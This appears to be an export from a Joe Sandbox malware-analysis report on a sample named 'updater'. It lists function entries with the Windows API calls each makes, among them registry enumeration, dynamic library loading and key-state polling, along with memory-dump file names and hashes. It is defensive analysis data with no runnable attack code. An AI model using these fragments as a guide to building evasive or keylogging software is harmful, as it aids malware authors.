Part of subcall function 00BC1A36: _memmove.LIBCMT ref: 00BC1A77

Part of subcall function 00C3147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00C3040D,?,?), ref: 00C31491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00C3075D
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00C3079C
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00C307E3
RegCloseKey.ADVAPI32(?,?), ref: 00C3080F
RegCloseKey.ADVAPI32(00000000), ref: 00C3081C

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: 5e268fa175586af7b12487c1211f69f7d2d9efd03a8d2f33b7a50bb48e7b0efb
Instruction ID: b72d80f02ab74dfdda243e495f926e8e6d1039a0ce477851c36b1d2d17217ce1
Opcode Fuzzy Hash: 5e268fa175586af7b12487c1211f69f7d2d9efd03a8d2f33b7a50bb48e7b0efb
Instruction Fuzzy Hash: 2C517C32218204AFC714EF68C891F6EB7E9FF85304F14895DF5959B2A2DB31E905CB92

Function 00C2DFB1 Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB4D37: __itow.LIBCMT ref: 00BB4D62
Part of subcall function 00BB4D37: __swprintf.LIBCMT ref: 00BB4DAC

LoadLibraryW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00C2E010
GetProcAddress.KERNEL32(00000000,?), ref: 00C2E093
GetProcAddress.KERNEL32(00000000,00000000), ref: 00C2E0AF
GetProcAddress.KERNEL32(00000000,?), ref: 00C2E0F0
FreeLibrary.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00C2E10A

Part of subcall function 00BC402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00C17E51,?,?,00000000), ref: 00BC4041
Part of subcall function 00BC402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00C17E51,?,?,00000000,?,?), ref: 00BC4065

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
String ID:
API String ID: 327935632-0
Opcode ID: d1fba45c85b594833e8e1e54dd0954078d4e28f022ea576993d43e64c7952398
Instruction ID: 813f71f4434f6a3e81a37a4d660938ffccf04ceece2945595b4e8e25f1f04395
Opcode Fuzzy Hash: d1fba45c85b594833e8e1e54dd0954078d4e28f022ea576993d43e64c7952398
Instruction Fuzzy Hash: DC514B35A00619DFCB10EF68D485EADB7F4FF09310B1480A9E915AB352D771AE46CF51

Function 00C1EBB4 Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00C1EC62
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 00C1EC8B
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00C1ECCA

Part of subcall function 00BB4D37: __itow.LIBCMT ref: 00BB4D62
Part of subcall function 00BB4D37: __swprintf.LIBCMT ref: 00BB4DAC

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00C1ECEF
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00C1ECF7

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: 90347910f516b50d6e28376eb28be3fd17d7ee40600bd9d298200a9933343136
Instruction ID: 6021738affafba6d61e916126213ea4ebb3560b23be8789c07c7d2ddaf4a092e
Opcode Fuzzy Hash: 90347910f516b50d6e28376eb28be3fd17d7ee40600bd9d298200a9933343136
Instruction Fuzzy Hash: 11514935A00505DFCB11EF64C985AAEBBF5FF09310B1480A9E849AB3A2CB71ED51DF50

Function 00C3A67B Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 258c0c873e2d204a25d88e40995c641fe732ea9148cb37a78b43ada55476128e
Instruction ID: 6f4c112e99b14325e94bc04cfb1866a21247fb09e7fa9548903eacd076c32d36
Opcode Fuzzy Hash: 258c0c873e2d204a25d88e40995c641fe732ea9148cb37a78b43ada55476128e
Instruction Fuzzy Hash: AD41D275910114AFD710DB28CCC8FE9BBB8EB0B350F150265F9AAA72E2C7709E61DA51

Function 00BB2714 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00BB2727
ScreenToClient.USER32(00C777B0,?), ref: 00BB2744
GetAsyncKeyState.USER32(00000001), ref: 00BB2769
GetAsyncKeyState.USER32(00000002), ref: 00BB2777

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 112ad390aeaa60ed1f74c3560c5d9d9fe71beb20cb6547e03e4fa0d3633882c0
Instruction ID: ff94a82872f3dbbd0c729936165720dcb435bdb63cba904aadab98daaab4e207
Opcode Fuzzy Hash: 112ad390aeaa60ed1f74c3560c5d9d9fe71beb20cb6547e03e4fa0d3633882c0
Instruction Fuzzy Hash: AC418D35504109FFDF159F6AC844AFDBBB4FB06324F20839AF82896290CB70AD51DB95

Function 00C095D7 Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00C095E8
PostMessageW.USER32(?,00000201,00000001), ref: 00C09692
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00C0969A
PostMessageW.USER32(?,00000202,00000000), ref: 00C096A8
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00C096B0

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 5308632a1ff19c70a99b60ae433d3f424710eab8a359f30f74206633f1344a23
Instruction ID: 26b39a4091980be92459560fed3f0286f35ce3e8c7104511d9909b2367975ce1
Opcode Fuzzy Hash: 5308632a1ff19c70a99b60ae433d3f424710eab8a359f30f74206633f1344a23
Instruction Fuzzy Hash: 0A31CE71900219EFDB14CF68D94CB9E7BB5FB45315F104219F925AB2D1C3B19A24DB90

Function 00C0BD85 Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00C0BD9D
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00C0BDBA
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00C0BDF2
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00C0BE18
_wcsstr.LIBCMT ref: 00C0BE22

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: 3578dc43abcb08a11e39062dba4e27a207c3fe1c54fe0fa81e97dfdcfab56a7b
Instruction ID: 81323db5a96a940cab1d7189cf1f28fcdaaffe4be0d5bb7b0aad2aaae977eeee
Opcode Fuzzy Hash: 3578dc43abcb08a11e39062dba4e27a207c3fe1c54fe0fa81e97dfdcfab56a7b
Instruction Fuzzy Hash: C121F232204204BAEB259B39DC09FBBBBA8EF45760F10406AFD09DA191EB61DD40D2A0

Function 00C3B7BD Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00BB29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BB29F3

GetWindowLongW.USER32(011E1400,000000F0), ref: 00C3B804
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 00C3B829
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00C3B841
GetSystemMetrics.USER32(00000004), ref: 00C3B86A
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00C2155C,00000000), ref: 00C3B888

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: a89ccb36a0a242d43c9a8889267db4d19b0a1c2ebecfcb630b048bcd9028b8f1
Instruction ID: d3d7b14c366934834012214b5480702ce157c4ac1b999425d2a96a369599c1fa
Opcode Fuzzy Hash: a89ccb36a0a242d43c9a8889267db4d19b0a1c2ebecfcb630b048bcd9028b8f1
Instruction Fuzzy Hash: BF219171924215AFCB149F39CC08B6A37A8FB05320F204738FA35D61E0D7308D50CB91

Function 00C09EBF Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00C09ED8

Part of subcall function 00BC1821: _memmove.LIBCMT ref: 00BC185B

SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00C09F0A
__itow.LIBCMT ref: 00C09F22
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00C09F4A
__itow.LIBCMT ref: 00C09F5B

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessageSend$__itow$_memmove
String ID:
API String ID: 2983881199-0
Opcode ID: ae5d2025096f62d0b659b482e296be17b5c7c3c764d2c4b8626b6600ca80e214
Instruction ID: 4b0a33a2ebb0001a2d913326e3346bf495caea31f6702284106f5a2bc2817b63
Opcode Fuzzy Hash: ae5d2025096f62d0b659b482e296be17b5c7c3c764d2c4b8626b6600ca80e214
Instruction Fuzzy Hash: 8821B331605205BBDB10AAA58C8AFEE7BA8EB8A750F144065FE05E7282D670C941DBD1

Function 00C26138 Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00C26159
GetForegroundWindow.USER32 ref: 00C26170
GetDC.USER32(00000000), ref: 00C261AC
GetPixel.GDI32(00000000,?,00000003), ref: 00C261B8
ReleaseDC.USER32(00000000,00000003), ref: 00C261F3

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: c7d9b550f0794b00a3137f04eb4d07ac5020dcaea764eba2db8bfb93ce98e4c7
Instruction ID: 91e4b04b20046d42a53502f8a96ca3aa788b31c5f7f3929b805e9a23b041fc94
Opcode Fuzzy Hash: c7d9b550f0794b00a3137f04eb4d07ac5020dcaea764eba2db8bfb93ce98e4c7
Instruction Fuzzy Hash: E221A175A00604AFD714EF65DC84BAEBBF9FF89310F148469F94A97652CB70AC40DBA0

Function 00BB16CF Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00BB1729
SelectObject.GDI32(?,00000000), ref: 00BB1738
BeginPath.GDI32(?), ref: 00BB174F
SelectObject.GDI32(?,00000000), ref: 00BB1778

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 83a935f0ab84fd1a61a3d9fc4f9b83f10e7ef28593467414032a2bd57152f5a7
Instruction ID: 57d3df5b6aa2f4931a6e42a6ff7fdcf89d7757943c07a16ee0ca9770939ee1e7
Opcode Fuzzy Hash: 83a935f0ab84fd1a61a3d9fc4f9b83f10e7ef28593467414032a2bd57152f5a7
Instruction Fuzzy Hash: E721A17080420CEBDB109F69DC48BAD7BE8FB01311F6447A5F919A61E0DBB49C91CB92

Function 00C0C837 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00C0C84C
_memcmp.LIBCMT ref: 00C0C86A
_memcmp.LIBCMT ref: 00C0C87D
_memcmp.LIBCMT ref: 00C0C895
_memcmp.LIBCMT ref: 00C0C8AD

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: a7cdd34f89452011dc1fe3b523bb4771d7273bc1c99bb71784beec74c3743e99
Instruction ID: c012538d683ba137590f153599003912e9c282623d231a11e7cf8f9fff3993d3
Opcode Fuzzy Hash: a7cdd34f89452011dc1fe3b523bb4771d7273bc1c99bb71784beec74c3743e99
Instruction Fuzzy Hash: F901D262A001053BE20463159DC2FABA39CEA60384F04C336FE16967C2F760DF10C2E8

Function 00C1504E Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00C15075
__beginthreadex.LIBCMT ref: 00C15093
MessageBoxW.USER32(?,?,?,?), ref: 00C150A8
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00C150BE
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00C150C5

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: 6908560a1f3c031ecf4fb841617d30b13ecaee541987f82b34e0baf351cce806
Instruction ID: d31b9166ad25f598ad5f621fa01b23b2835d0fdf69c4d6dd16e930481c4ad9a9
Opcode Fuzzy Hash: 6908560a1f3c031ecf4fb841617d30b13ecaee541987f82b34e0baf351cce806
Instruction Fuzzy Hash: B511E976904659EBC7019FA89C04BDF7FADAB86320F144266F928D3361D671898087F0

Function 01257529 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,012575C0,?,?,00000000), ref: 01257541

Part of subcall function 012572A1: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 012572BF

GetThreadLocale.KERNEL32(00000000,00000004,00000000,012575C0,?,?,00000000), ref: 01257571
EnumCalendarInfoA.KERNEL32(Function_0000C475,00000000,00000000,00000004), ref: 0125757C
GetThreadLocale.KERNEL32(00000000,00000003,00000000,012575C0,?,?,00000000), ref: 0125759A
EnumCalendarInfoA.KERNEL32(Function_0000C4B1,00000000,00000000,00000003), ref: 012575A5

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: b526827ab9fedfcb5a5ca48e6f7917179579fa14bb5406cedb331a58a5bc9ba0
Instruction ID: 4ffc7a0a4bf8da56fd493aa5d5372c41a27bc67f09c6a119cbf12047ccd6b9ff
Opcode Fuzzy Hash: b526827ab9fedfcb5a5ca48e6f7917179579fa14bb5406cedb331a58a5bc9ba0
Instruction Fuzzy Hash: C00126352B024AAFE392BB76DCD1F6EB66CEB51724F900520FD10E7BC4EA749E004164

Function 00C08E20 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00C08E3C
GetLastError.KERNEL32(?,00C08900,?,?,?), ref: 00C08E46
GetProcessHeap.KERNEL32(00000008,?,?,00C08900,?,?,?), ref: 00C08E55
HeapAlloc.KERNEL32(00000000,?,00C08900,?,?,?), ref: 00C08E5C
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00C08E73

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 9854a97e110d1689f4d84fd0ebf7816e976d9396b0cf27fa0ac5eb6f016d4157
Instruction ID: 92660963aa95a51c022378ac3d09cc9685ed6a1d3cc94d9e8701ad900ea8aed7
Opcode Fuzzy Hash: 9854a97e110d1689f4d84fd0ebf7816e976d9396b0cf27fa0ac5eb6f016d4157
Instruction Fuzzy Hash: 33016D78640204BFDB204FA5DC48EAF7FADFF8A755B604529FE99C3260DA319D14CA60

Function 00C157FF Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00C1581B
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00C15829
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00C15831
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00C1583B
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00C15877

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 86f876dc1e450766bd37817468f11cfbaf7210cffd3855e39c6c250b7815881d
Instruction ID: cd4c8adede41ef32727f937ef1989ab6484780979b65b89f91e6c1fee07cff98
Opcode Fuzzy Hash: 86f876dc1e450766bd37817468f11cfbaf7210cffd3855e39c6c250b7815881d
Instruction Fuzzy Hash: 9F018C35C81A1DDBEF00AFE5DC48BEDBBB8FB4A711F104156E601B2180CB309690DBA1

Function 00C07D28 Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00C07C62,80070057,?,?,?,00C08073), ref: 00C07D45
ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00C07C62,80070057,?,?), ref: 00C07D60
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00C07C62,80070057,?,?), ref: 00C07D6E
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00C07C62,80070057,?), ref: 00C07D7E
CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00C07C62,80070057,?,?), ref: 00C07D8A

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
